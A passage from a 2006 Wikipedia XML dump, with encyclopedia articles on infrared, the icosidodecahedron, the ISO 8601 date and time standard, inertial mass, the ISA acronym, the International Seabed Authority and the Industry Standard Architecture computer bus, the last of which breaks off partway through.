The discovery of infrared radiation is commonly ascribed to [[William Herschel]], the [[astronomer]], in the early [[19th century]]. Herschel used a [[Prism (optics)|prism]] to [[refract]] light from the [[sun]] and detected the infrared, beyond the [[red]] part of the spectrum, through an increase in the temperature recorded on a [[thermometer]].

Simple infrared sensors were used by British, American and German forces in the [[Second World War]] as night vision aids for [[sniper]]s.

==See also==

*[[Night vision]]
*[[Infrared astronomy]]
*[[Infrared filter]]
*[[Infrared photography]]
*[[Infrared spectroscopy]]
*[[Thermography]]
*[[terahertz]] radiation
*[[Thermographic camera]]
*[[Infrared homing]]

==External links==

===Journals===
*[http://www.sciencedirect.com/science/journal/13504495 Infrared Physics and Technology] (Elsevier) (last access June 2005).


===Web sites===
*[http://scienceofspectroscopy.info/wiki/index.php?title=Infrared_Spectroscopy Infrared Spectroscopy] NASA ''Open Spectrum'' wiki site.
*[http://www.irda.org/ IrDA]Organization that creates low cost infrared data interconnection standards.
*[http://www.ocinside.de/html/modding/usb_ir_receiver/usb_ir_receiver.html How to build an USB infrared receiver to remote control PCs]
*[http://imagers.gsfc.nasa.gov/ems/infrared.html Infrared Waves]Detailed explanation of infrared light.

{{wiktionary}}
{{EMSpectrum}}

[[Category:Electromagnetic spectrum]]

&lt;!----&gt;

[[bg:Инфрачервено излъчване]]
[[ca:Infraroig]]
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[[es:Radiación infrarroja]]
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[[fa:فروسرخ]]
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[[zh:红外线]]</text>
    </revision>
  </page>
  <page>
    <title>Icosidodecahedron</title>
    <id>15023</id>
    <revision>
      <id>40670178</id>
      <timestamp>2006-02-22T04:42:23Z</timestamp>
      <contributor>
        <username>JarlaxleArtemis</username>
        <id>161122</id>
      </contributor>
      <minor />
      <comment>/* See also */ * [[Great truncated icosidodecahedron]]</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; bgcolor=&quot;#ffffff&quot; cellpadding=&quot;5&quot; align=&quot;right&quot; style=&quot;margin-left:10px&quot; width=&quot;250&quot;
!bgcolor=#e7dcc3 colspan=2|Icosidodecahedron
|-
|align=center colspan=2|[[image:icosidodecahedron.jpg|240px|Icosidodecahedron]]&lt;br&gt;''Click on picture for large version.''&lt;br&gt;''Click ''[[:image:icosidodecahedron.gif|here]]'' for spinning version.''
|-
|bgcolor=#e7dcc3|Type||[[Archimedean solid|Archimedean]]
|-
|bgcolor=#e7dcc3|Faces||20 [[triangle]]s&lt;br&gt;12 [[pentagon]]s
|-
|bgcolor=#e7dcc3|Edges||60
|-
|bgcolor=#e7dcc3|Vertices||30
|-
|bgcolor=#e7dcc3|[[Vertex configuration]]||3.5.3.5
|-
|bgcolor=#e7dcc3|[[Symmetry group]]||[[Icosahedral symmetry|icosahedral]] (''I''&lt;sub&gt;''h''&lt;/sub&gt;)
|-
|bgcolor=#e7dcc3|[[Dual polyhedron]]||[[rhombic triacontahedron]]
|-
|bgcolor=#e7dcc3|Properties||convex, quasi-regular (vertex/edge uniform)
|-
|align=center colspan=2|[[image:Icosidodecahedron_vertfig.png|240px|Icosidodecahedron]]&lt;BR&gt;Vertex Figure
|}
An '''icosidodecahedron ''' is a [[polyhedron]] with twenty triangular faces and twelve pentagonal faces.  An icosidodecahedron has 30 identical vertices, with two triangles and two pentagons meeting at each, and 60 identical edges, each separating a triangle from a pentagon.  As such it is one of the [[Archimedean solid]]s and more particularly, one of the quasi-regular polyhedra.

[[image:icosidodecahedron flat.png]]

An icosidodecahedron has icosahedral symmetry, and its first [[stellation]] is the compound of a [[dodecahedron]] and its dual [[icosahedron]], with the vertices of the icosahedron located at the midpoints of the edges of either.  Canonical coordinates for the vertices of an icosidodecahedron are the [[cyclic permutation]]s of (0,0,±&amp;tau;), (±1/2, ±&amp;tau;/2, ±(1+&amp;tau;)/2), where &amp;tau; is the [[golden ratio]], (1+&amp;radic;5)/2.  Its [[dual polyhedron]] is the [[rhombic triacontahedron]].  An icosidodecahedron can be split along several planes to form [[pentagonal rotunda]]e, which belong among the [[Johnson solid]]s.

In the standard nomenclature used for the [[Johnson solid]]s, an icosidodecahedron would be called a ''pentagonal gyrobirotunda''.

==Related polyhedra==

The icosidodecahedron is a [[Rectification (geometry)|rectified]] [[dodecahedron]] and also a rectified [[icosahedron]].

Compare:

[[image:dodecahedron.jpg|thumb|left|100px|[[Dodecahedron]]]][[image:truncateddodecahedron.jpg|thumb|left|100px|[[Truncated dodecahedron]]]][[image:icosidodecahedron.jpg|thumb|left|100px|Icosidodecahedron]][[image:truncatedicosahedron.jpg|thumb|100px|left|[[Truncated icosahedron]]]]
[[image:icosahedron.jpg|thumb|100px|left|[[Icosahedron]]]]
{{-}}

== See also ==

* [[Cuboctahedron]]
* [[Dodecahedron]]
* [[Great truncated icosidodecahedron]]
* [[Icosahedron]]
* [[Rhombicosidodecahedron]]
* [[Truncated icosidodecahedron]]

== External links ==

* [http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
* [http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra

[[Category:Archimedean solids]]
[[Category:Quasiregular polyhedra]]

[[es:Icosidodecaedro]]
[[nl:Icosidodecaëder]]
[[pt:Icosidodecaedro]]</text>
    </revision>
  </page>
  <page>
    <title>ISO 8601</title>
    <id>15024</id>
    <revision>
      <id>40553173</id>
      <timestamp>2006-02-21T11:00:11Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: la</comment>
      <text xml:space="preserve">'''[[International Organization for Standardization|ISO]] 8601''', &quot;[[Data element]]s and interchange formats &amp;ndash; Information interchange &amp;ndash; Representation of dates and times&quot; is an [[international standard]] for [[calendar date|date]] and [[time]] representations. The signature feature of the [[ISO 8601]] format is that all values are organized from most to least significant.  This leads to the increasingly familiar '''YYYY-MM-DD&amp;nbsp;hh:mm:ss''' format seen in international forums.

{|table class=&quot;messagebox&quot;
| The current time in ''ISO 8601'' format is: '''{{CURRENTYEAR}}-{{CURRENTMONTH}}-{{CURRENTDAY2}}&amp;nbsp;{{CURRENTTIME}}Z'''
|}

==History of the standard==

The current version is the third edition, [http://www.iso.org/iso/en/CatalogueDetailPage.CatalogueDetail?CSNUMBER=40874&amp;ICS1=1&amp;ICS2=140&amp;ICS3=30&amp;showrevision=y&amp;scopelist=CATALOGUE ISO 8601:2004], published [[2004-12-03]].  This replaces the second edition, ISO 8601:2000.  The first edition was ISO 8601:1988.

==General principles==

Dates and times are self-contained, and do not rely on any external context for their values.  They are ''entirely numerical'' in representation, although certain specialized formats use roman letters to label fields.  Every ISO date has exactly one possible unambiguous interpretation.  These properties allow them to be truly international, without reliance on regional conventions, such as the names of the days of the week.

Dates and times are organized ''from most to least significant'' digits.  Each value (eg, year, month, day, time) has a ''fixed number of digits'' which must be padded with leading zeros.  For instance, the American notation &quot;4:30 am&quot; would be written '''04:30'''.

Representation can be done in one of two formats: A ''basic format'' with a minimal number of characters, or an ''extended format'' with separators to enhance human readability.[http://www.iso.org/iso/en/prods-services/popstds/datesandtime.html]  The standard permits a ''dash'' separator between date elements, and a ''colon'' between hours, minutes, and seconds.  For example, '''2006-01-06''' may be written '''20060106''' without ambiguity.  An optional &quot;'''T'''&quot; is suggested to separate date and time when those values will be stored in a single field, though another separator may be chosen with discretion. A space is a popular allowed human readable alternative.

Any number of fields may be dropped from any of the date and time formats, but the least significant fields must be dropped first.  For example, '''2004-05''' is a valid ISO 8601 date, which indicates the 5th month of the year 2004.  This date will never represent the 5th day of some unknown month in 2004.

Finally, the standard supports the addition of a ''decimal fraction'' to the smallest time unit, where higher precision is needed.

==Dates==

The standard uses the [[Gregorian calendar]], already the [[De facto|de facto standard]] of international trade, with the year numbering following [[astronomical year numbering]].  The standard acknowledges that other calendars may be used, such as the [[Julian calendar]].  It suggests that senders and receivers should explicitly agree when another calendar is used with the standard's notation.  Dates are otherwise assumed to be Gregorian.  In principle, dates should usually be converted to the [[Proleptic Gregorian calendar|proleptic Gregorian calendar]] to avoid possible confusion.

Years are always integers. Year '''0001''' corresponds to '''1 AD''' (1 CE).  The year before that is '''0000''', which corresponds to '''1 BC''' (1 BCE).  The year before that is '''-0001''', which corresponds to '''2 BC'''.  This pattern continues.  This system had already been used by [[astronomer]]s, and may clarify the dispute about when a new century begins (see [[20th century]]).

In some cases, years may be relaxed to fewer than four digits.  However, the rules for this vary depending on what other information is being carried and if it will make the interpretation ambiguous.  For instance, the date 2006-01-09 could be written 060109, but the month 2006-01 could only be shortened as -0601 (note the hyphen).  Years can also be expanded to greater than four digits, though this is practically domain specific&amp;mdash;such as archeological and astronomical events.

[[ISO 8601]] describes three date formats of general interest.  These can be quickly distinguished by a ''one, two, or three digit day field''.

===Calendar date===
{|table class=&quot;infobox&quot; style=&quot;text-align: center; width: 15em&quot;
| '''YYYY–MM–DD'''
|}

Calendar dates are the form familiar to most people.  As represented above, '''YYYY''' indicates a year with century, and a negative sign for years before 1 BCE.  '''MM''' indicates the month of the year, 01 through 12.  '''DD''' indicates the day of that month, from 01 through 31.  For example, &quot;April 5th, 1981&quot; may be represented as '''1981-04-05''' in the ''extended format'', or '''19810405''' in the ''basic format''.

The standard allows for dates to be written with less precision.  For example, you may write '''1981-04''' to mean &quot;April, 1981&quot;.  You may simply write '''1981''' to refer to that year.

The standard also allows for dates which include an implied element, such as an implied century.  It is careful to emphasize the importance of clear communication between sender and receiver when implied elements are being used.  It is a lack of such clarity that led to the [[year 2000 problem]].

===Week dates===
{|table class=&quot;infobox&quot; style=&quot; text-align: center; width: 15em&quot;
| '''YYYY–Www–D'''
|}

Week dates are a form more popular in manufacturing.  As represented above, '''YYYY''' indicates a ISO year.  The &quot;'''W'''&quot; is a literal roman character followed by '''ww''' which represents the week number from 01 through 52 or 53.  The &quot;'''D'''&quot; represents the ''day of the week'' from 1 through 7, beginning with Monday and ending with Sunday.  For example, 1981-04-05 is the 7th day of the 14th week of 1981, and would be written '''1981-W14-7''', or in its most compact form '''81W147'''.

Week 01 is the week with the year's first Thursday in it.  Or in other words, the first week with the majority (four or more) of its days in the new year.  If 1 January is on a Monday, Tuesday, Wednesday or Thursday, it is in week 01. If 1 January is on a Friday, Saturday or Sunday, it is in week 52 or 53 of the previous year. Weeks 01, 52 and 53 can thus include days from more than one year and, in most years, do so. For example, 2008-12-28 is written '''2009-W01-1''' and 2010-01-01 is written '''2009-W53-7'''. The year given by the Week format is often called the ISO year (opposed to the gregorian year used in Calendar dates).

===Ordinal dates===
{|table class=&quot;infobox&quot; style=&quot;text-align: center; width: 15em&quot;
| '''YYYY–DDD'''
|}

''Ordinal dates'' are a simple form for times when the arbitrary nature of week and month definitions are more of an impediment than an aid&amp;mdash;for instance, when comparing dates from different calendars.  As represented above, '''YYYY''' indicates a year.  '''DDD''' is the day of that year, from 001 through 366 in leap years.  For example, &quot;1981-04-05&quot; is also '''1981-095'''.  

This format has particular use for simple hardware systems that have need of a date system, but where including full calendar calculation software may be a significant nuisance.

=== Further details about dates ===
&lt;!-- This section is somewhat redundant ATM: 2006-01-07 11:43-0500 --&gt;
The standard allows for expansion and truncation of the year, by agreement between sender and receiver.
Truncation means the year may be written with two digits (optionally preceded by a hyphen) to represent a year in an ''implied'' century.  Unfortunately, common practice is to use two digits for either a year in an implied modern century or in the first century ('''89''' might be 89 or 1989).  
Expansion means that the year may be written with more than four digits, which addresses the [[year 10,000 problem]], by allowing the standard to specify dates later than [[10th millennium|AD 10000]] or earlier than [[Younger Dryas|10001 BC]].  
Note however that expansion and truncation introduce ambiguities if separators are not used.  For instance '''200406''' could either mean the year 200406 or month 06 in year 2004.  The ISO standard suggests that &quot;provisions be made&quot; to prevent such confusions.

For purposes of reference ISO 8601 assigns the number [[1875]] to the year in which the ''[[Convention du Mètre]]'' was signed in [[Paris]].

==Times==
{|table class=&quot;infobox&quot; style=&quot;text-align: center; width: 15em&quot;
| '''hh:mm:ss'''
|}

ISO 8601 uses the [[24-hour clock]] system that is used by much of the world.  The ''basic format'' is '''hhmmss''' and the ''extended format'' is '''hh:mm:ss'''.  '''hh''' refers to an [[hour]] between 00 and 24, where 24 is only used to notate the midnight at the end of a calendar date.  '''mm''' refers to a [[minute]] between 00 and 59.  '''ss''' refers to a [[second]] between 00 and 59 (or 60 in the exceptional case of an added [[leap second]]).  So a time might appear as '''13:47:30''', or '''134730'''.

It is also acceptable to omit elements to reduce precision.  '''hh:mm''', '''hhmm''', and '''hh''' are all used.

Fractions may also be used with all three of the time elements.  These are indicated by using the [[decimal point]] (either a [[comma (punctuation)|comma]] or [[full stop|dot]]).  A fraction may only refer to the most precise component of a time representation &amp;mdash; that is, to denote &quot;14 hours, 30 and one half minutes&quot;, do not include a seconds figure.  Represent it as '''14:30.5''' or '''1430.5'''. The &quot;.&quot;  may be replaced with a &quot;,&quot; depending on the local custom.

''[[Midnight]]'' is a special case and can be referred to as both '''00:00''' and '''24:00'''.  The notation '''00:00''' is used at the beginning of the day, and is the most frequently used one. At the end of a day use '''24:00'''. Note that '''1981-04-05 24:00''' is the same instant as '''1981-04-06 00:00'''.

===Time zones===
{|table class=&quot;infobox&quot; style=&quot;width: 15em&quot;
| '''&lt;time&gt;Z'''&lt;br /&gt;
'''&lt;time&gt;&amp;plusmn;hh:mm:ss'''&lt;br /&gt;
'''&lt;time&gt;&amp;plusmn;hh:mm'''&lt;br /&gt;
'''&lt;time&gt;&amp;plusmn;hhmm'''&lt;br /&gt;
'''&lt;time&gt;&amp;plusmn;hh'''
|}
If no [[time zone]] information is given with a time, the time zone is assumed to be in some conventional local timezone.  While it may be safe to assume a local zone when used between two people in the same area, it is ambiguous when used in communication between multiple timezones.  It is usually preferable to indicate a time zone using the standard's notation.  

====UTC====

If the time is in [[Coordinated Universal Time|UTC]], it is very easy to show this.  Simply add a '''Z''' directly after the time, without a space.  &quot;09:30 UTC&quot; is therefore represented as '''09:30Z''' or '''0930Z'''.  &quot;14:45:15 UTC&quot; would be '''14:45:15Z''' or '''144515Z'''.

====Other time zones====

Other time zones are specified by their ''offset'' from UTC, in the format '''±hh:mm''', '''±hhmm''', or '''±hh'''.  So if the time being described is one hour ahead of UTC (such as the time in [[Berlin]] during the winter) the offset would be '''+01:00''', '''+0100''', or simply '''+01'''.  This is appended to the time in the same way that &quot;'''Z'''&quot; was above.  Note that the offset is the actual offset from UTC, and doesn't include any information on [[daylight saving time]].  Times expressed in local time for a user in [[Chicago, Illinois]] would be '''-06:00''' for the winter ([[Central Standard Time Zone|Central Standard Time]]) and '''-05:00''' for the summer ([[Central Daylight Time Zone|Central Daylight Time]]).  The following times all refer to the same moment: '''18:30Z''', '''22:30+04''', '''1130-0700''', and '''15:00-03:30'''.  (It could also be expressed using a fraction of the hour, as '''18.5Z'''.)

==Combined representations==
{|table class=&quot;infobox&quot; style=&quot;width: 15em&quot;
| '''&lt;date&gt;&lt;tt&gt;&amp;nbsp;&lt;/tt&gt;&lt;time&gt;'''&lt;br /&gt;'''YYYY-MM-DD&lt;tt&gt;&amp;nbsp;&lt;/tt&gt;hh:mm:ss'''&lt;br /&gt;'''&lt;date&gt;T&lt;time&gt;'''&lt;br /&gt;'''YYYY-MM-DDThh:mm:ss'''&lt;br /&gt;'''YYYYMMDDThhmmss'''
|}

Combining ''date'' and ''time'' representations is quite simple.  It is in the format of '''&lt;date&gt;T&lt;time&gt;'''.  The ''&lt;date&gt;'' and ''&lt;time&gt;'' sections are any proper representation of the date and time created by following the standard.  A common use could be '''YYYY-MM-DDThh:mm:ss±hh:mm'''.  '''1981-04-05T14:30:30-05:00''', for example.

The standard allows the replacement of T with a space if no misunderstanding arises. This is commonly done for human communications. A date/time with timezone like '''1981-04-05T14:30-05''' would then be written as '''1981-04-05&amp;nbsp;14:30-05'''.

==Duration==
{|table class=&quot;infobox&quot; style=&quot;text-align: center; width: 15em&quot;
| '''PnYnMnDTnHnMnS'''
|}
Durations are represented by the format '''PnYnMnDTnHnMnS''' (nM may be replaced with nW to use the ''week format''.)  In this representation replace '''n''' with the appropriate number for the element that follows it (leading zeros are optional but may clarify ambiguous durations)  The capital letters ('''P''', '''Y''', '''M''', '''W''', '''D''', '''T''', '''H''', '''M''', and '''S''') are used as they are and not replaced.  Thus '''P3Y6M4DT12H30M0S''' defines &quot;a period of three years, six months, four days, twelve hours, thirty minutes, and zero seconds&quot;.  Elements may be omitted if their value is zero.

Alternately, a format more similar to the ''combined representation'' may be used: '''PYYYY-MM-DDThh:mm:ss'''.  To represent the same interval as above in this format, use '''P0003-06-04T12:30:00'''.

==Time interval==
{|table class=&quot;infobox&quot; style=&quot;width: 15em&quot;
| '''&lt;begin&gt;/&lt;end&gt;'''&lt;br /&gt;'''&lt;begin&gt;/&lt;duration&gt;'''&lt;br /&gt;'''&lt;duration&gt;/&lt;end&gt;'''&lt;br /&gt;'''&lt;duration&gt;'''
|}
Time intervals specify an amount of time.  They may be specified in four ways:

#Start and end, such as '''2002-03-01T13:00:00Z/2003-05-11T15:30:00Z'''
#Start and duration, such as '''2002-03-01T13:00:00Z/P1Y2M10DT2H30M'''
#Duration and end, such as '''P1Y2M10DT2H30M/2003-05-11T15:30:00Z'''
#Duration only, such as '''P1Y2M10DT2H30M'''

Of these, the first three require two separate values, separated by the ''interval designator'', which is usually a [[slash (punctuation)|forward slash]] &quot;'''/'''&quot;.  (The double [[hyphen]] (--) is permissible in some applications but is not preferred.)  An example using the format from item #1 is '''1981-04-05T14:30:30-05:00/2004-07-14T15:30:30-05:00'''.  If any elements are missing from the second value, they are assumed to be the same as the first value, including time zone elements.

===Repeating intervals===
Repeating intervals are formed by adding '''Rn/''' to the beginning of an interval expression, where '''R''' is used as the letter itself and '''n''' is replaced by the number of repetitions.  Leaving out the value for '''n''' means an unbounded number of repetitions.  So, to repeat the interval of '''P1Y2M10DT2H30M''' five times starting at '''2002-03-01T13:00:00Z''', use '''R5/2002-03-01T13:00:00Z/P1Y2M10DT2H30M'''.

==Usage==
On the [[Internet]], ISO 8601 is used by the [[World Wide Web Consortium|W3C]], defining a profile of the standard that restricts the supported formats to reduce the chance of error and the complexity of software. See also W3C link in ''External links'', below.

ISO 8601 is referenced by several specifications, but not always is the full range of options of ISO 8601 used. E.g. the different EPG standards for TV, Digital Radio, etc. do use several formats to describe points in time and durations.

The ISO 8601 week date, as of 2006-01, already appears in its basic form on major brand commercial packaging in the US.  Its appearance depends on the particular packaging, canning, or bottling plant more than any particular brand.  The format is particularly useful for quality assurance, so that production errors can be readily traced to work weeks, and products can be correctly targeted for recall.

==External links==
*[http://www.hermetic.ch/cal_stud/formats.htm The ISO 8601 Date Format]
*[http://www.cl.cam.ac.uk/~mgk25/iso-time.html ISO 8601 summary by Markus Kuhn]
*[http://www.saqqara.demon.co.uk/datefmt.htm International Date Format Campaign]
*[http://www.qsl.net/g1smd/isoimp.htm ISO 8601 Implementation Around The World]
*[http://groups.yahoo.com/group/iso8601/ ISO 8601 discussion group at Yahoo!]
*[http://dmoz.org/Science/Reference/Standards/Individual_Standards/ISO_8601/ ISO 8601 section of Open Directory Project] 
*W3C
**Non-endorsed information
***[http://www.w3.org/TR/NOTE-datetime Note about Date and Time Formats to W3C from Reuters]
***[http://www.w3.org/Submission/1997/14/Comment Comment by W3C on Reuters submission]
**Recommendations
***[http://www.w3.org/TR/xmlschema-2/#dateTime dateTime data type in XML Schema], which is based on a subset of ISO 8601
*RFC 3339, Date and Time on the Internet, 2002-July
*[http://www.iso.ch/iso/en/CatalogueDetailPage.CatalogueDetail?CSNUMBER=40874 Purchase the ISO 8601:2004 standard] ([[English language|English]], 33 pages, [[Portable Document Format|PDF]], [[Franc#Swiss_franc|CHF]] 122)
*[http://dmoz.org/Bookmarks/G/g1smd/Links_to_PDF_Copies_of_ISO_8601_Standard/ ISO 8601 draft copies in PDF format]
*[http://www.personal.ecu.edu/mccartyr/isowdcal.html Current date in '''week date''' and '''ordinal date''' format]
*[http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm The Mathematics of the ISO 8601 Calendar]
*[http://www.probabilityof.com/ISO8601.shtml ISO 8601 - Converting and implementing]

[[Category:Calendars]]
[[Category:Specific calendars]]
[[Category:ISO standards|#08601]]

[[ca:ISO 8601]]
[[de:ISO 8601]]
[[eo:ISO 8601]]
[[fr:ISO 8601]]
[[km:ISO 8601]]
[[la:ISO 8601]]
[[nl:ISO 8601]]
[[ja:ISO 8601]]
[[no:ISO 8601]]
[[pl:ISO 8601]]
[[sl:ISO 8601]]
[[fi:ISO 8601]]
[[sv:ISO 8601]]
[[zh:ISO 8601]]</text>
    </revision>
  </page>
  <page>
    <title>Inertial mass</title>
    <id>15026</id>
    <revision>
      <id>35105730</id>
      <timestamp>2006-01-14T03:55:01Z</timestamp>
      <contributor>
        <username>Forbsey</username>
        <id>86762</id>
      </contributor>
      <comment>Fixed common spelling error. see [[WP:LCM]]</comment>
      <text xml:space="preserve">'''Inertial [[mass]]''' is a measure of the resistance of an entity to a change in its [[velocity]] relative to an [[inertial frame]]. The [[inertial frame]] does not have to be that of the [[mass]] in question; either before or after the measurement.&lt;/br&gt;
This 'resistance' is also sometimes called ''inertia''.

Within [[classical physics]] the inertial mass of [[point particle]]s is defined by means of the following equation for the subsequently described Machian [[thought experiment]] where particle 1 is taken as a unit (''m''&lt;sub&gt;1&lt;/sub&gt; =1):

:''m''&lt;sub&gt;i&lt;/sub&gt; ''a''&lt;sub&gt;''i''1&lt;/sub&gt; = ''m''&lt;sub&gt;1&lt;/sub&gt; ''a''&lt;sub&gt;1''i''&lt;/sub&gt;, 

where ''m''&lt;sub&gt;''i''&lt;/sub&gt; is the inertial mass of particle ''i'', and ''a''&lt;sub&gt;''i''1&lt;/sub&gt; is the initial acceleration of particle ''i'', in the direction from particle ''i'' to particle 1, in a volume occupied only by particles ''i'' and 1, where both particles are initially at rest one distance unit apart. There are no external forces, but the particles exert a force on each other.

The equation defines inertial mass of  particle ''i'' in terms of the assumed measurable mutually induced accelerations ''a''&lt;sub&gt;''i''1&lt;/sub&gt; and a&lt;sub&gt;1i&lt;/sub&gt;. The remaining constraints on the accelerations, that the above defining equation still holds at different initial distances and when generated by the pairing of particles with other than particle 1, can be taken as requirements for the experimental validity of the theory's dynamics, cf. [[conservation law|momentum conservation]].  In addition, the requirement that the paired accelerations used are colinear, irrelevant of the direction chosen for the alignment of the particles, verifies that they are measured relative to an inertial frame in a force-free volume. 

[[Category:Mass]]

[[de:Träge Masse und schwere Masse]]
[[es:Masa inercial]]
[[ru:Инертная масса]]</text>
    </revision>
  </page>
  <page>
    <title>ISA</title>
    <id>15027</id>
    <revision>
      <id>42075480</id>
      <timestamp>2006-03-03T17:31:35Z</timestamp>
      <contributor>
        <username>Tiki God</username>
        <id>821605</id>
      </contributor>
      <comment>added [[International Sign Association]] (trade association), external link to site</comment>
      <text xml:space="preserve">As an acronymn, '''ISA''' stands for 
* [[Independent Schools Association]], a group of schools in New South Wales, Australia.
* [[Infectious salmon anemia]], a viral disease of salmon.
* [[Individual Savings Account]] (in the UK) 
* [[Industry Standard Architecture]] (a computer bus standard for IBM compatible PCs)
* [[Institut de Sélection Animale]], a poultry breeding company based in Saint–Brieuc, France.
* [[Instruction set|Instruction Set Architecture]]
* [[Instrumentation, Systems, and Automation Society]] (formerly Instrument Society of America, a professional organization for instrument engineers)
* [[Internal Security Act]] (implemented in Malaysia and Singapore)
* [[International Seabed Authority]]
* [[Patent Cooperation Treaty|International Searching Authority]] (in patent law)
* [[International Security Alliance]] a fictional spy agency on the television soap opera ''[[Days of our Lives]]''
* [[International Sign Association]] ([http://www.signs.org/ web page])
* [[International Society of Arboriculture]] (non-profit organization)
* [[International Sociological Association]]
* [[International Space Agency]]
* [[International Standard Atmosphere]]
* [[International School Amsterdam]] an international school in the Netherlands
* [[International Symbol of Accessibility]]
* [[Microsoft Internet Security and Acceleration Server|Internet Security and Acceleration Server]], a Microsoft server product
* [[Israel Space Agency]]
* [[Irish Sailing Association]] (National governing body for sailing in Ireland)
* [[Italian Space Agency]]

See also:
* [[Isa]] Jesus in Islam.
* [[Mount Isa, Queensland]]
* [[Isa (album)]] (2004), an album by [[Enslaved (band)|Enslaved]]

{{TLAdisambig}}

[[de:Isa]]
[[es:ISA]]
[[fr:ISA]]
[[nl:ISA]]
[[ja:ISA]]
[[pl:ISA]]
[[sk:ISA]]</text>
    </revision>
  </page>
  <page>
    <title>International Seabed Authority</title>
    <id>15028</id>
    <revision>
      <id>26973970</id>
      <timestamp>2005-10-31T13:40:27Z</timestamp>
      <contributor>
        <username>Pharos</username>
        <id>111996</id>
      </contributor>
      <minor />
      <comment>Category:Mining law and governance</comment>
      <text xml:space="preserve">[[Image:isalogo.gif|right]]
The '''International Seabed Authority''' is an intergovernmental body established to organize and control all mineral-related activities in the international seabed area beyond the limits of national jurisdiction, an area underlying most of the world&amp;rsquo;s [[ocean]]s. It is an autonomous organization having a relationship agreement with the [[United Nations]].

The Authority, in existence since 1994, was established and its tasks were defined by the 1982 [[United Nations Convention on the Law of the Sea]], as refined by the 1994 Agreement relating to the Implementation of Part XI (seabed provisions) of the Convention. The Convention defines this deep seabed area and its resources as &amp;ldquo;the common heritage of mankind&amp;rdquo;.  The Authority has 138 member states, its membership consisting of all parties to the Law of the [[Sea]] Convention.

Two principal organs establish the policies and govern the work of the Authority: the Assembly, in which all members are represented, and a 36-member Council elected by the Assembly.  Council members are chosen according to a formula designed to ensure equitable representation of countries from various groups, including those engaged in seabed mineral exploration and the land-based producers of minerals found on the seabed. The Authority holds one annual session, usually of two weeks duration.  Its eighth session was held in August 2002; its ninth session is scheduled for July/August 2003.

The Authority operates by contracting with private and public corporations and other entities authorizing them to explore, and eventually exploit, specified areas on the deep seabed for mineral resources.  The Convention also established a body called the Enterprise which is to serve as the Authority&amp;rsquo;s own mining operator, but no concrete steps have been taken to bring this into being.

The Authority&amp;rsquo;s sole substantive accomplishment to date has been the adoption in 2000 of regulations governing exploration for polymetallic nodules. These resources, also called [[manganese nodule]]s, contain varying amounts of [[manganese]], [[cobalt]], [[copper]] and [[nickel]].  They occur as potato-sized lumps scattered about on the surface of the ocean floor, mainly in the central [[Pacific Ocean]] but with some deposits in the [[Indian Ocean]].  During the first half of 2001, the Authority signed exploration contracts with seven entities, giving them exclusive rights to explore for nodules in specific areas, under terms spelled out in the regulations. These contractors submitted their first set of annual reports to the Authority in 2002; none indicated any serious interest in commercial exploitation.

The Authority began work in August 2002 on another set of regulations, covering polymetallic sulphides and cobalt-rich crusts--rich sources of such minerals as copper, iron, zinc, silver and gold, as well as cobalt. The sulphides are found around volcanic hot springs, especially in the western Pacific Ocean, while the crusts occur on oceanic ridges and elsewhere at several locations around the world.  This task is likely to take several years.

In addition to its legislative work, the Authority organizes annual workshops on various aspects of seabed exploration, with emphasis on measures to protect the marine environment from any harmful consequences.  It disseminates the results of these meetings through publications.

The Authority has a budget of slightly more than $5 million a year and a staff of nearly 40 people.  Contrary to early hopes that seabed mining would generate extensive revenues for both the exploiting countries and the Authority, no technology has been developed for gathering deep-sea minerals at costs that can compete with land-based mines.  The general consensus is that economic mining of the ocean depths is decades away.  In addition, the United States, with some of the most advanced ocean technology in the world, has not yet ratified the Law of the Sea Convention and is thus not a member of the Authority. 

==External links==
* [http://www.isa.org.jm ISA]
* [http://www.un.org/Depts/los/convention_agreements/convention_overview_convention.htm United Nations Convention on the Law of the Sea (1982)]

[[Category:International organizations]]
[[Category:Law of the sea]]
[[Category:Mining law and governance]]

[[de:Meeresbodenbehörde]]</text>
    </revision>
  </page>
  <page>
    <title>Industry Standard Architecture</title>
    <id>15029</id>
    <revision>
      <id>41757828</id>
      <timestamp>2006-03-01T15:04:35Z</timestamp>
      <contributor>
        <ip>216.110.76.98</ip>
      </contributor>
      <text xml:space="preserve">'''Industry Standard Architecture''' (in practice almost always shortened to '''ISA''') is a [[computer bus]] standard for [[IBM compatible]]s.

bus architecture]].  The modern 16-bit standard was introduced in [[1984]].  Designed to connect peripheral cards to the [[motherboard]], the protocol also allows for [[bus mastering]] although only the first 16 [[megabyte|MB]] of main memory is available for direct access.  The 8-bit bus ran at 4.77 MHz, while the 16-bit bus operated at 8 MHz.  In reference to the XT bus, it is sometimes referred to as the '''AT bus architecture'''. It was also available on some non-IBM compatible machines such as the short-lived [[AT&amp;T]] Hobbit and later [[PowerPC]] based [[BeBox]].

[[Image:Isa1.jpg|300px|thumb|right|Five [[16-bit]] and one [[8-bit]] ISA slots on a [[motherboard]]]]

In [[1987]], IBM moved to replace the ISA bus with their proprietary [[Micro Channel Architecture]] (MCA) in an effort to regain control of the PC architecture, and the PC market.  The system was far more advanced than ISA, and computer manufacturers responded with the [[Extended Industry Standard Architecture]] (EISA) and later, the [[VESA Local Bus]] (VLB).  In fact, VLB used some parts originally intended for MCA due to the fact that component manufacturers already had the ability to manufacture it.  Both were compatible expansions of the ISA standard.  Neither became extraordinarily popular, however, and were soon succeeded by [[Intel]]'s 32-bit [[Peripheral Component Interconnect]] (PCI).

Users of ISA-based machines had to know special information about the hardware they were adding to the system.  While a handful of devices were essentially &quot;[[plug-n-play]],&quot; this was rare.  Users frequently had to configure two or three things when adding a new device, such as the [[IRQ]] line, [[I/O address]], or [[Direct memory access|DMA]] channel.  MCA had done away with this complication, and PCI actually incorporated many of the ideas first explored with MCA (though it was more directly descended from EISA).

This trouble with configuration eventually led to the creation of '''ISA PnP''', a [[plug-n-play]] system that used a combination of modifications to hardware, the system [[BIOS]], and [[operating system]] software to automatically manage the nitty-gritty details. In reality, ISA PnP turned out to be a major headache much of the time, and didn't become well-supported until the architecture was in its final days.  This was a major contributor to the use of the phrase &quot;plug-n-pray.&quot;

